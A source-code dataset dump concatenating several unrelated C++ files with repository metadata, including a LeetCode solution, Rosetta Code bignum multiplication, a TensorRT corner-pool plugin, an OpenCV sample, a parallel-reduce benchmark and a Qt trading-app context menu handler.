hash.update(reinterpret_cast<const char *>(info->dlpi_addr + phdr.p_vaddr), phdr.p_filesz);
}
}
return 1; /// Do not continue iterating.
}
SipHash getHashOfLoadedBinary()
{
SipHash hash;
dl_iterate_phdr(callback, &hash);
return hash;
}
std::string getHashOfLoadedBinaryHex()
{
SipHash hash = getHashOfLoadedBinary();
std::array<UInt64, 2> checksum;
hash.get128(checksum[0], checksum[1]);
return getHexUIntUppercase(checksum);
}
#else
SipHash getHashOfLoadedBinary()
{
return {};
}
std::string getHashOfLoadedBinaryHex()
{
return {};
}
#endif
| 19.101695 | 103 | 0.65661 | evryfs |
d404a11a464fcc6b6f19f0e860e17eb714e8cd89 | 580 | cpp | C++ | code/313.nthSuperUglyNumber.cpp | T1mzhou/LeetCode | 574540d30f5696e55799831dc3c8d8b7246b74f1 | [
"MIT"
] | 1 | 2020-10-04T13:39:34.000Z | 2020-10-04T13:39:34.000Z | code/313.nthSuperUglyNumber.cpp | T1mzhou/LeetCode | 574540d30f5696e55799831dc3c8d8b7246b74f1 | [
"MIT"
] | null | null | null | code/313.nthSuperUglyNumber.cpp | T1mzhou/LeetCode | 574540d30f5696e55799831dc3c8d8b7246b74f1 | [
"MIT"
] | null | null | null | class Solution {
public:
int nthSuperUglyNumber(int n, vector<int>& primes) {
typedef pair<int, int> PII;
priority_queue<PII, vector<PII>, greater<PII>> heap;
for (int x : primes) heap.push({x, 0});
vector<int> q(n);
q[0] = 1;
for (int i = 1; i < n;) {
auto t = heap.top();
heap.pop();
if (t.first != q[i - 1]) q[i++] = t.first;
int idx = t.second;
int p = t.first / q[idx];
heap.push({p * q[idx + 1], idx + 1});
}
return q[n - 1];
}
}; | 30.526316 | 60 | 0.444828 | T1mzhou |
d4050a79374b147a844f73a8229e24efdd158334 | 1,515 | cpp | C++ | lang/C++/long-multiplication-2.cpp | ethansaxenian/RosettaDecode | 8ea1a42a5f792280b50193ad47545d14ee371fb7 | [
"MIT"
] | 5 | 2021-01-29T20:08:05.000Z | 2022-03-22T06:16:05.000Z | lang/C++/long-multiplication-2.cpp | ethansaxenian/RosettaDecode | 8ea1a42a5f792280b50193ad47545d14ee371fb7 | [
"MIT"
] | null | null | null | lang/C++/long-multiplication-2.cpp | ethansaxenian/RosettaDecode | 8ea1a42a5f792280b50193ad47545d14ee371fb7 | [
"MIT"
] | 1 | 2018-11-09T22:08:40.000Z | 2018-11-09T22:08:40.000Z | #include <iostream>
#include <vector>
using namespace std;
typedef unsigned long native_t;
struct ZPlus_ // unsigned int, represented as digits base 10
{
vector<native_t> digits_; // least significant first; value is sum(digits_[i] * 10^i)
ZPlus_(native_t n) : digits_(1, n)
{
while(Sweep());
}
bool Sweep() // clean up digits so they are in [0,9]
{
bool changed = false;
int carry = 0;
for (auto pd = digits_.begin(); pd != digits_.end(); ++pd)
{
*pd += carry;
carry = *pd / 10;
*pd -= 10 * carry;
changed = changed || carry > 0;
}
if (carry)
digits_.push_back(carry);
return changed || carry > 9;
}
};
ZPlus_ operator*(const ZPlus_& lhs, const ZPlus_& rhs)
{
ZPlus_ retval(0);
// hold enough space
retval.digits_.resize(lhs.digits_.size() + rhs.digits_.size(), 0ul);
// accumulate one-digit multiples
for (size_t ir = 0; ir < rhs.digits_.size(); ++ir)
for (size_t il = 0; il < lhs.digits_.size(); ++il)
retval.digits_[ir + il] += rhs.digits_[ir] * lhs.digits_[il];
// sweep clean and drop zeroes
while(retval.Sweep());
while (!retval.digits_.empty() && !retval.digits_.back())
retval.digits_.pop_back();
return retval;
}
ostream& operator<<(ostream& dst, const ZPlus_& n)
{
for (auto pd = n.digits_.rbegin(); pd != n.digits_.rend(); ++pd)
dst << *pd;
return dst;
}
int main(int argc, char* argv[])
{
int p2 = 1;
ZPlus_ n(2ul);
for (int ii = 0; ii < 7; ++ii)
{
p2 *= 2;
n = n * n;
cout << "2^" << p2 << " = " << n << "\n";
}
return 0;
}
| 22.279412 | 86 | 0.612541 | ethansaxenian |
d405a7d6b1fe1e212b71c061c2c22079f8b7ea5f | 6,729 | cpp | C++ | mmcv/ops/csrc/tensorrt/plugins/trt_corner_pool.cpp | BIGWangYuDong/mmcv | c46deb0576edaff5cd5a7d384c617478c7a73a70 | [
"Apache-2.0"
] | 3,748 | 2018-10-12T08:39:46.000Z | 2022-03-31T17:22:55.000Z | mmcv/ops/csrc/tensorrt/plugins/trt_corner_pool.cpp | BIGWangYuDong/mmcv | c46deb0576edaff5cd5a7d384c617478c7a73a70 | [
"Apache-2.0"
] | 1,637 | 2018-10-12T06:06:18.000Z | 2022-03-31T02:20:53.000Z | mmcv/ops/csrc/tensorrt/plugins/trt_corner_pool.cpp | BIGWangYuDong/mmcv | c46deb0576edaff5cd5a7d384c617478c7a73a70 | [
"Apache-2.0"
] | 1,234 | 2018-10-12T09:28:20.000Z | 2022-03-31T15:56:24.000Z | // Copyright (c) OpenMMLab. All rights reserved
#include "trt_corner_pool.hpp"
#include <assert.h>
#include "trt_serialize.hpp"
void CornerPoolForwardLauncher_float(const float *input, float *output,
const int batch_size, const int channels,
const int height, const int width,
const int pool_type, cudaStream_t stream);
namespace {
static const char *PLUGIN_VERSION{"1"};
static const char *CORNER_POOL_PLUGIN_NAME{"MMCVCornerPool"};
} // namespace
CornerPoolPluginDynamic::CornerPoolPluginDynamic(const std::string &name,
TRT_CORNER_POOL_TYPE poolType)
: mLayerName(name), mPoolType(poolType) {}
CornerPoolPluginDynamic::CornerPoolPluginDynamic(const std::string name,
const void *data,
size_t length)
: mLayerName(name) {
deserialize_value(&data, &length, &mPoolType);
}
CornerPoolPluginDynamic::~CornerPoolPluginDynamic() {}
nvinfer1::IPluginV2DynamicExt *CornerPoolPluginDynamic::clone() const {
CornerPoolPluginDynamic *plugin =
new CornerPoolPluginDynamic(mLayerName, mPoolType);
plugin->setPluginNamespace(getPluginNamespace());
return plugin;
}
nvinfer1::DimsExprs CornerPoolPluginDynamic::getOutputDimensions(
int outputIndex, const nvinfer1::DimsExprs *inputs, int nbInputs,
nvinfer1::IExprBuilder &exprBuilder) {
return inputs[0];
}
bool CornerPoolPluginDynamic::supportsFormatCombination(
int pos, const nvinfer1::PluginTensorDesc *inOut, int nbInputs,
int nbOutputs) {
switch (pos) {
// input[0]
case 0:
return inOut[pos].type == nvinfer1::DataType::kFLOAT &&
inOut[pos].format == nvinfer1::TensorFormat::kLINEAR;
// output[0]
case 1:
return inOut[pos].type == inOut[0].type &&
inOut[pos].format == inOut[0].format;
default:
return false;
}
}
void CornerPoolPluginDynamic::configurePlugin(
const nvinfer1::DynamicPluginTensorDesc *inputs, int nbInputs,
const nvinfer1::DynamicPluginTensorDesc *outputs, int nbOutputs) {}
size_t CornerPoolPluginDynamic::getWorkspaceSize(
const nvinfer1::PluginTensorDesc *inputs, int nbInputs,
const nvinfer1::PluginTensorDesc *outputs, int nbOutputs) const {
int sizeof_dtype = mmcv::getElementSize(outputs[0].type);
}
int CornerPoolPluginDynamic::enqueue(
const nvinfer1::PluginTensorDesc *inputDesc,
const nvinfer1::PluginTensorDesc *outputDesc, const void *const *inputs,
void *const *outputs, void *workSpace, cudaStream_t stream) {
const void *input = inputs[0];
void *output_value = outputs[0];
const int batch_size = inputDesc[0].dims.d[0];
const int channels = inputDesc[0].dims.d[1];
const int height = inputDesc[0].dims.d[2];
const int width = inputDesc[0].dims.d[3];
CornerPoolForwardLauncher_float((float *)input, (float *)output_value,
batch_size, channels, height, width,
int(mPoolType), stream);
return 0;
}
nvinfer1::DataType CornerPoolPluginDynamic::getOutputDataType(
int index, const nvinfer1::DataType *inputTypes, int nbInputs) const {
return inputTypes[0];
}
// IPluginV2 Methods
const char *CornerPoolPluginDynamic::getPluginType() const {
switch (mPoolType) {
case TRT_CORNER_POOL_TYPE::TRT_TOP_POOL:
case TRT_CORNER_POOL_TYPE::TRT_BOTTOM_POOL:
case TRT_CORNER_POOL_TYPE::TRT_LEFT_POOL:
case TRT_CORNER_POOL_TYPE::TRT_RIGHT_POOL:
return CORNER_POOL_PLUGIN_NAME;
default:
return "UnknownpoolType";
}
}
const char *CornerPoolPluginDynamic::getPluginVersion() const {
return PLUGIN_VERSION;
}
int CornerPoolPluginDynamic::getNbOutputs() const { return 1; }
int CornerPoolPluginDynamic::initialize() { return 0; }
void CornerPoolPluginDynamic::terminate() {}
size_t CornerPoolPluginDynamic::getSerializationSize() const {
return sizeof(mPoolType);
}
void CornerPoolPluginDynamic::serialize(void *buffer) const {
serialize_value(&buffer, mPoolType);
}
void CornerPoolPluginDynamic::destroy() {
// This gets called when the network containing plugin is destroyed
delete this;
}
void CornerPoolPluginDynamic::setPluginNamespace(const char *libNamespace) {
mNamespace = libNamespace;
}
const char *CornerPoolPluginDynamic::getPluginNamespace() const {
return mNamespace.c_str();
}
CornerPoolPluginDynamicCreator::CornerPoolPluginDynamicCreator() {
mPluginAttributes.clear();
mPluginAttributes.emplace_back(nvinfer1::PluginField("mode"));
mFC.nbFields = mPluginAttributes.size();
mFC.fields = mPluginAttributes.data();
}
const char *CornerPoolPluginDynamicCreator::getPluginName() const {
return CORNER_POOL_PLUGIN_NAME;
}
const char *CornerPoolPluginDynamicCreator::getPluginVersion() const {
return PLUGIN_VERSION;
}
const nvinfer1::PluginFieldCollection *
CornerPoolPluginDynamicCreator::getFieldNames() {
return &mFC;
}
nvinfer1::IPluginV2 *CornerPoolPluginDynamicCreator::createPlugin(
const char *name, const nvinfer1::PluginFieldCollection *fc) {
TRT_CORNER_POOL_TYPE poolType;
int poolMode = -1;
for (int i = 0; i < fc->nbFields; i++) {
if (fc->fields[i].data == nullptr) {
continue;
}
std::string field_name(fc->fields[i].name);
if (field_name.compare("mode") == 0) {
poolMode = static_cast<const int *>(fc->fields[i].data)[0];
}
}
assert(poolMode >= 0 && poolMode <= 3);
switch (poolMode) {
case 0:
poolType = TRT_CORNER_POOL_TYPE::TRT_TOP_POOL;
break;
case 1:
poolType = TRT_CORNER_POOL_TYPE::TRT_BOTTOM_POOL;
break;
case 2:
poolType = TRT_CORNER_POOL_TYPE::TRT_LEFT_POOL;
break;
case 3:
poolType = TRT_CORNER_POOL_TYPE::TRT_RIGHT_POOL;
break;
default:
break;
}
CornerPoolPluginDynamic *plugin = new CornerPoolPluginDynamic(name, poolType);
plugin->setPluginNamespace(getPluginNamespace());
return plugin;
}
nvinfer1::IPluginV2 *CornerPoolPluginDynamicCreator::deserializePlugin(
const char *name, const void *serialData, size_t serialLength) {
// This object will be deleted when the network is destroyed, which will
// call FCPluginDynamic::destroy()
auto plugin = new CornerPoolPluginDynamic(name, serialData, serialLength);
plugin->setPluginNamespace(getPluginNamespace());
return plugin;
}
void CornerPoolPluginDynamicCreator::setPluginNamespace(
const char *libNamespace) {
mNamespace = libNamespace;
}
const char *CornerPoolPluginDynamicCreator::getPluginNamespace() const {
return mNamespace.c_str();
}
| 30.866972 | 80 | 0.706346 | BIGWangYuDong |
d406ab5d47fb3cb97cf34ef4173bd3fd2a9e1c0f | 3,442 | cpp | C++ | sample/win/mirror2/main.cpp | jjzhang166/glesbox | 36f01e721bf15532476b9aca6b601ed6e9ef81f0 | [
"MIT"
] | null | null | null | sample/win/mirror2/main.cpp | jjzhang166/glesbox | 36f01e721bf15532476b9aca6b601ed6e9ef81f0 | [
"MIT"
] | null | null | null | sample/win/mirror2/main.cpp | jjzhang166/glesbox | 36f01e721bf15532476b9aca6b601ed6e9ef81f0 | [
"MIT"
] | null | null | null | /**
* FacialExpression can [only] be run in video or continuous
* image sequence model and [only] track the biggest face
*/
#include <algorithm>
#include <iostream>
#include "opencv2/opencv.hpp"
#include "glesbox.hpp"
#include "simpleimage.hpp"
#ifdef _WIN32
#include <windows.h>
#endif
#define repeatii(cnt) for (int ii=0; ii<(cnt); ii++)
typedef struct {
int stream_type; // 0 camera; 1, video; 2 picture list
bool need_print_screen;
char* stream_path;
} Configuration;
int main(int argc, char** argv) {
Configuration setting = { 0, false };
for (int i=0; i<argc; i++) {
if (0==strcmp(argv[i], "-v") && i+1<argc) {
setting.stream_type = 1;
setting.stream_path = argv[i+1];
}
if (0==strcmp(argv[i], "-i") && i+1<argc) {
setting.stream_type = 2;
setting.stream_path = argv[i+1];
}
if (0==strcmp(argv[i], "-p") && i+1<argc) {
setting.need_print_screen = atoi(argv[i+1]);
}
}
cv::VideoCapture vc;
std::vector<std::string> imglist;
switch (setting.stream_type) {
case 0:{
vc.open(0);
if (!vc.isOpened())
return -1;
double rate = vc.get(CV_CAP_PROP_FPS);
int delay = 1000/rate;
break;}
case 1:{
vc.open(setting.stream_path);
if (!vc.isOpened())
return -1;
double rate = vc.get(CV_CAP_PROP_FPS);
int delay = 1000/rate;
break;}
case 2:{ //for image sequences:image_001.jpg
break;}
default:
break;
}
cv::Mat frame;
const int stream_frame_count = vc.get(CV_CAP_PROP_FRAME_COUNT);
auto readFrame = [setting, stream_frame_count, &vc, &frame,
&imglist](int index)->bool {
if (setting.stream_type == 0) {
vc >> (frame);
return true;
}
if (setting.stream_type == 1 && index < stream_frame_count) {
vc >> (frame);
return true;
} else if (setting.stream_type == 2 && index < imglist.size()) {
frame = cv::imread(imglist[index]);
return true;
} else {
return false;
}
};
cv::VideoWriter vw;
if (setting.need_print_screen) {
int width = vc.get(CV_CAP_PROP_FRAME_WIDTH);
int height = vc.get(CV_CAP_PROP_FRAME_HEIGHT);
int fourcc = vc.get(CV_CAP_PROP_FOURCC);
fourcc = cv::VideoWriter::fourcc('X','V','I','D');
cv::Size imsize = cv::Size(width, height);
int fps = 30; // vc.get(CV_CAP_PROP_FPS);
vw.open("screen.avi", fourcc, fps, imsize);
if (!vw.isOpened()) {
printf("open video writer failed!/n");
return -1;
}
}
vc >> frame;
cv::imshow("mirror2", frame); //just initial a show windows
libgb::SimpleImage face;
libgb::GlesBox glesbox;
libgb::GBConfig iner_conf;
iner_conf.type = libgb::GB_DRAW_ONLINE_WITHOUT_OPENGLES_CONTEXT;
iner_conf.screen_native_id = (unsigned long)GetActiveWindow();
iner_conf.screen_angle = 0.0f;
iner_conf.screen_x = 0;
iner_conf.screen_y = 0;
iner_conf.screen_width = 640;
iner_conf.screen_height = 480;
bool stop(false);
int frame_index = 0;
int failed_count = 0;
while (!stop) {
if (!readFrame(frame_index++)) {
std::cout<<"No More Pictures, Guy:&"<<std::endl;
break;
}
cv::flip(frame, frame, 2);
cv::cvtColor(frame, frame, CV_BGR2RGB);
glesbox.draw_begin(iner_conf);
face.setTextData(frame.cols, frame.rows, 3, frame.data);
face.draw(iner_conf);
glesbox.draw_end(iner_conf);
auto key = cv::waitKey(1);
if (key == 27) stop = true;
}
return 0;
}
| 25.124088 | 68 | 0.625799 | jjzhang166 |
d406cfa8ddc50b9e3fdcadc2e7148ba31e84f383 | 4,150 | cc | C++ | pc/parallel-examples.cc | kyawakyawa/cpp-junk-parts | f56432e9a097d4b151803164cd6847ef152b8e16 | [
"MIT"
] | null | null | null | pc/parallel-examples.cc | kyawakyawa/cpp-junk-parts | f56432e9a097d4b151803164cd6847ef152b8e16 | [
"MIT"
] | null | null | null | pc/parallel-examples.cc | kyawakyawa/cpp-junk-parts | f56432e9a097d4b151803164cd6847ef152b8e16 | [
"MIT"
] | null | null | null | /*
MIT License
Copyright (c) 2020 kyawakyawa
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#include <stdint.h>
#include <algorithm>
#include <chrono>
#include <numeric>
#include <random>
#include <thread>
#include <vector>
#include "macros.h"
IGNORE_STRICT_WARNING_PUSH
#include "spdlog/spdlog.h"
IGNORE_STRICT_WARNING_POP
template <class InputIterator, class T>
T ParallelReduce(size_t num_threads, InputIterator first, InputIterator last,
T init) {
num_threads = std::max<size_t>(1, num_threads);
const auto num_terms = size_t(last - first);
if (num_terms < num_threads) {
return std::accumulate(first, last, init);
}
const auto m = int64_t((num_terms + num_threads - 1) / num_threads);
std::vector<std::thread> workers;
std::vector<T> sums(num_threads);
for (size_t thread_id = 0; thread_id < num_threads; ++thread_id) {
workers.emplace_back([&, thread_id](void) {
const int64_t offset = int64_t(thread_id) * m;
if (thread_id == num_threads - 1) {
sums[thread_id] = std::accumulate(first + offset, last, T(0));
} else {
sums[thread_id] =
std::accumulate(first + offset, first + (offset + m), T(0));
}
});
}
for (auto& v : workers) {
v.join();
}
return std::accumulate(sums.begin(), sums.end(), init);
}
int main(void) {
const size_t array_size = (1 << 26);
const size_t num_iteration = 10;
const size_t num_threads = std::thread::hardware_concurrency();
std::vector<int64_t> vec(array_size);
std::iota(vec.begin(), vec.end(), 0);
const int64_t mod = 1000000007;
for (size_t i = 0; i < num_iteration; ++i) {
std::random_device rnd;
std::shuffle(vec.begin(), vec.end(), std::mt19937(rnd()));
std::for_each(vec.begin(), vec.end(), [&](int64_t& u) { u %= mod; });
const std::chrono::system_clock::time_point start_parallel_reduce =
std::chrono::system_clock::now();
const int64_t sum_pr =
ParallelReduce(num_threads, vec.begin(), vec.end(), int64_t(0));
const std::chrono::system_clock::time_point end_parallel_reduce =
std::chrono::system_clock::now();
const std::chrono::system_clock::time_point start_accumulate =
std::chrono::system_clock::now();
const int64_t sum_ac = std::accumulate(vec.begin(), vec.end(), int64_t(0));
const std::chrono::system_clock::time_point end_accumulate =
std::chrono::system_clock::now();
if (sum_pr != sum_ac) {
spdlog::error("ParallelReduce -> {}, std::accumulate -> {}", sum_pr,
sum_ac);
}
const auto time_parallel_reduce =
std::chrono::duration_cast<std::chrono::nanoseconds>(
end_parallel_reduce - start_parallel_reduce)
.count();
const auto time_accumulate =
std::chrono::duration_cast<std::chrono::nanoseconds>(end_accumulate -
start_accumulate)
.count();
spdlog::info("parallel reduce: {} ms\n",
double(time_parallel_reduce) / 1000000);
spdlog::info("std::accumulate: {} ms\n", double(time_accumulate) / 1000000);
}
return 0;
}
| 34.87395 | 80 | 0.674217 | kyawakyawa |
d40836612262ec02331c7db24a6bc7cc357501af | 849 | cpp | C++ | ACM-ICPC/9506.cpp | KimBoWoon/ACM-ICPC | 146c36999488af9234d73f7b4b0c10d78486604f | [
"MIT"
] | null | null | null | ACM-ICPC/9506.cpp | KimBoWoon/ACM-ICPC | 146c36999488af9234d73f7b4b0c10d78486604f | [
"MIT"
] | null | null | null | ACM-ICPC/9506.cpp | KimBoWoon/ACM-ICPC | 146c36999488af9234d73f7b4b0c10d78486604f | [
"MIT"
] | null | null | null | #include <cstdio>
#include <vector>
using namespace std;
int main() {
while (true) {
int n, sum = 0;
vector<int> v;
scanf("%d", &n);
if (n == -1) {
return 0;
}
for (int i = 1; i < n; i++) {
if (n % i == 0) {
v.push_back(i);
}
}
for (int i = 0; i < v.size(); i++) {
sum += v[i];
}
printf("%d", n);
if (sum == n) {
printf(" =");
for (int i = 0; i < v.size(); i++) {
if (i == v.size() - 1) {
printf(" %d\n", v[i]);
} else {
printf(" %d +", v[i]);
}
}
} else {
printf(" is NOT perfect.\n");
}
}
} | 21.225 | 49 | 0.273263 | KimBoWoon |
d40b6372a4aeb000492fc57093b04f3bff51ddc3 | 15,032 | cpp | C++ | view/src/context_menu/trade_config_context_menu_handler.cpp | Rapprise/b2s-trader | ac8a3c2221d15c4df8df63842d20dafd6801e535 | [
"BSD-2-Clause"
] | 21 | 2020-06-07T20:34:47.000Z | 2021-08-10T20:19:59.000Z | view/src/context_menu/trade_config_context_menu_handler.cpp | Rapprise/b2s-trader | ac8a3c2221d15c4df8df63842d20dafd6801e535 | [
"BSD-2-Clause"
] | null | null | null | view/src/context_menu/trade_config_context_menu_handler.cpp | Rapprise/b2s-trader | ac8a3c2221d15c4df8df63842d20dafd6801e535 | [
"BSD-2-Clause"
] | 4 | 2020-07-13T10:19:44.000Z | 2022-03-11T12:15:43.000Z | /*
* Copyright (c) 2020, Rapprise.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "include/context_menu/trade_config_context_menu_handler.h"
#include <QtWidgets/QMenu>
#include <QtWidgets/QMessageBox>
#include "include/dialogs/create_trade_configuration_dialog.h"
#include "include/gui_nodes/gui_tree_node.h"
#include "view/include/gui_processor.h"
namespace auto_trader {
namespace view {
TradeConfigContextMenuHandler::TradeConfigContextMenuHandler(QTreeView &tradeConfigView,
common::AppListener &appListener,
GuiProcessor &guiListener)
: tradeConfigView_(tradeConfigView), appListener_(appListener), guiListener_(guiListener) {
const QIcon editIcon = QIcon(":/b2s_images/edit_currect_config.png");
const QIcon closeIcon = QIcon(":/b2s_images/close_config.png");
const QIcon removeIcon = QIcon(":/b2s_images/remove_config.png");
const QIcon expandIcon = QIcon(":/b2s_images/expand.png");
const QIcon collapseIcon = QIcon(":/b2s_images/collapse.png");
const QIcon activeConfigIcon = QIcon(":/b2s_images/set_active_config.png");
editAction_ = new QAction(editIcon, tr("&Edit"), this);
closeAction_ = new QAction(closeIcon, tr("&Close"), this);
removeAction_ = new QAction(removeIcon, tr("Remove"), this);
expandAction_ = new QAction(expandIcon, tr("&Expand All"), this);
collapseAction_ = new QAction(collapseIcon, tr("&Collapse All"), this);
activeConfig_ = new QAction(activeConfigIcon, tr("&Set Active"), this);
connect(editAction_, &QAction::triggered, this,
&TradeConfigContextMenuHandler::editConfiguration);
connect(closeAction_, &QAction::triggered, this,
&TradeConfigContextMenuHandler::closeConfiguration);
connect(removeAction_, &QAction::triggered, this,
&TradeConfigContextMenuHandler::removeConfiguration);
connect(activeConfig_, &QAction::triggered, this,
&TradeConfigContextMenuHandler::setActiveConfig);
connect(expandAction_, &QAction::triggered, this, &TradeConfigContextMenuHandler::expandAll);
connect(collapseAction_, &QAction::triggered, this, &TradeConfigContextMenuHandler::collapseAll);
connect(&tradeConfigView_, SIGNAL(customContextMenuRequested(const QPoint &)), this,
SLOT(onCustomConfigurationContextMenu(const QPoint &)));
}
void TradeConfigContextMenuHandler::editConfiguration() {
if (currentNode_) {
currentNode_ = getTradeConfigNode(currentNode_);
const std::string &configName = currentNode_->data(0).toString().toStdString();
const auto &tradeConfigsHolder = appListener_.getTradeConfigsHolder();
const auto &tradeConfiguration = tradeConfigsHolder.getTradeConfiguration(configName);
if (tradeConfiguration.isActive() && tradeConfiguration.isRunning()) {
QMessageBox::information(&guiListener_, tr("Trade configuration cannot be edited."),
tr("The trade configuration \'") +
QString::fromStdString(configName) +
tr("\' is running and cannot be edited."));
currentNode_ = nullptr;
return;
}
auto uiLock = guiListener_.acquireUILock();
if (!uiLock.try_lock() || guiListener_.isUIUpdating()) {
QMessageBox::information(
&guiListener_, tr("Trade configuration cannot be edited."),
tr("The UI is updating right now. Please wait until process is finished."));
currentNode_ = nullptr;
return;
}
auto tradeConfigurationDialog = new dialogs::CreateTradeConfigurationDialog(
appListener_, guiListener_, dialogs::CreateTradeConfigurationDialog::DialogType::EDIT,
&tradeConfigView_);
tradeConfigurationDialog->setAttribute(Qt::WA_DeleteOnClose);
tradeConfigurationDialog->setupDefaultParameters(tradeConfiguration);
tradeConfigurationDialog->exec();
}
currentNode_ = nullptr;
}
void TradeConfigContextMenuHandler::closeConfiguration() {
if (!currentNode_) {
return;
}
const std::string &configName = currentNode_->data(0).toString().toStdString();
auto &tradeConfigsHolder = appListener_.getTradeConfigsHolder();
auto &tradeConfiguration = tradeConfigsHolder.getTradeConfiguration(configName);
auto uiLock = guiListener_.acquireUILock();
bool uiUpdating = (!uiLock.try_lock() || guiListener_.isUIUpdating());
if (uiUpdating && tradeConfiguration.isActive()) {
QMessageBox::information(
&guiListener_, tr("Trade configuration is active and UI is updating."),
tr("The UI is updating right now. Please wait until process is finished."));
return;
}
if (tradeConfiguration.isActive()) {
if (tradeConfiguration.isRunning()) {
QMessageBox::information(
&guiListener_, tr("Trading configuration cannot be closed."),
tr("The current trading configuration is running. Please stop trading before removing."));
return;
}
QMessageBox::StandardButton reply;
if (tradeConfigsHolder.getConfigurationsCount() > 1) {
reply = QMessageBox::question(
&guiListener_, "Close current active configuration",
"Are you sure you want to remove current configuration? Since it is active, new active "
"configuration will be chosen from remaining ones.",
QMessageBox::Yes | QMessageBox::No);
} else {
reply = QMessageBox::question(&guiListener_, "Close current active configuration",
"Are you sure you want to close current active configuration?",
QMessageBox::Yes | QMessageBox::No);
}
if (reply != QMessageBox::Yes) {
return;
}
} else {
const std::string message = "Are you sure you want to close configuration " + configName + "?";
QMessageBox::StandardButton reply =
QMessageBox::question(&guiListener_, "Close configuration", tr(message.c_str()),
QMessageBox::Yes | QMessageBox::No);
if (reply != QMessageBox::Yes) {
return;
}
}
bool isClosedConfigActive = tradeConfiguration.isActive();
tradeConfigsHolder.removeTradeConfig(configName);
if (tradeConfigsHolder.isEmpty()) {
guiListener_.resetChart();
guiListener_.disableChart();
guiListener_.refreshConfigurationStatusBar();
appListener_.refreshStockExchangeView();
} else if (isClosedConfigActive) {
tradeConfigsHolder.setDefaultActiveConfiguration();
guiListener_.refreshConfigurationStatusBar();
guiListener_.refreshChartViewStart();
appListener_.refreshStockExchangeView();
}
appListener_.saveTradeConfigurationsFiles();
guiListener_.refreshTradeConfigurationView();
currentNode_ = nullptr;
}
void TradeConfigContextMenuHandler::removeConfiguration() {
if (!currentNode_) {
return;
}
const std::string &configName = currentNode_->data(0).toString().toStdString();
auto &tradeConfigsHolder = appListener_.getTradeConfigsHolder();
auto &tradeConfiguration = tradeConfigsHolder.getTradeConfiguration(configName);
auto uiLock = guiListener_.acquireUILock();
bool uiUpdating = (!uiLock.try_lock() || guiListener_.isUIUpdating());
if (uiUpdating && tradeConfiguration.isActive()) {
QMessageBox::information(
&guiListener_, tr("Trade configuration is active and UI is updating"),
tr("The UI is updating right now. Please wait until process is finished."));
return;
}
if (tradeConfiguration.isActive()) {
if (tradeConfiguration.isRunning()) {
QMessageBox::information(
&guiListener_, tr("Trading configuration cannot be closed."),
tr("The current trading configuration is running. Please stop trading before removing."));
return;
}
QMessageBox::StandardButton reply;
if (tradeConfigsHolder.getConfigurationsCount() > 1) {
reply = QMessageBox::question(
&guiListener_, "Remove current active configuration",
"Are you sure you want to remove current configuration? Since it is active, new active "
"configuration will be chosen from remaining ones.",
QMessageBox::Yes | QMessageBox::No);
} else {
reply = QMessageBox::question(&guiListener_, "Remove current active configuration",
"Are you sure you want to remove current active configuration?",
QMessageBox::Yes | QMessageBox::No);
}
if (reply != QMessageBox::Yes) {
return;
}
} else {
const std::string message = "Are you sure you want to remove configuration " + configName + "?";
QMessageBox::StandardButton reply =
QMessageBox::question(&guiListener_, "Remove configuration", tr(message.c_str()),
QMessageBox::Yes | QMessageBox::No);
if (reply != QMessageBox::Yes) {
return;
}
}
bool isRemovedConfigActive = tradeConfiguration.isActive();
tradeConfigsHolder.removeTradeConfig(configName);
auto applicationDir = QApplication::applicationDirPath();
const std::string &tradeConfigPath = applicationDir.toStdString() + std::string("/") + "config" +
std::string("/") + configName + ".json";
remove(tradeConfigPath.c_str());
if (tradeConfigsHolder.isEmpty()) {
guiListener_.refreshConfigurationStatusBar();
guiListener_.resetChart();
guiListener_.disableChart();
appListener_.refreshStockExchangeView();
} else if (isRemovedConfigActive) {
tradeConfigsHolder.setDefaultActiveConfiguration();
guiListener_.refreshConfigurationStatusBar();
guiListener_.refreshChartViewStart();
appListener_.refreshStockExchangeView();
}
appListener_.saveTradeConfigurationsFiles();
guiListener_.refreshTradeConfigurationView();
currentNode_ = nullptr;
}
void TradeConfigContextMenuHandler::expandAll() {
tradeConfigView_.expandAll();
currentNode_ = nullptr;
}
void TradeConfigContextMenuHandler::collapseAll() {
tradeConfigView_.collapseAll();
currentNode_ = nullptr;
}
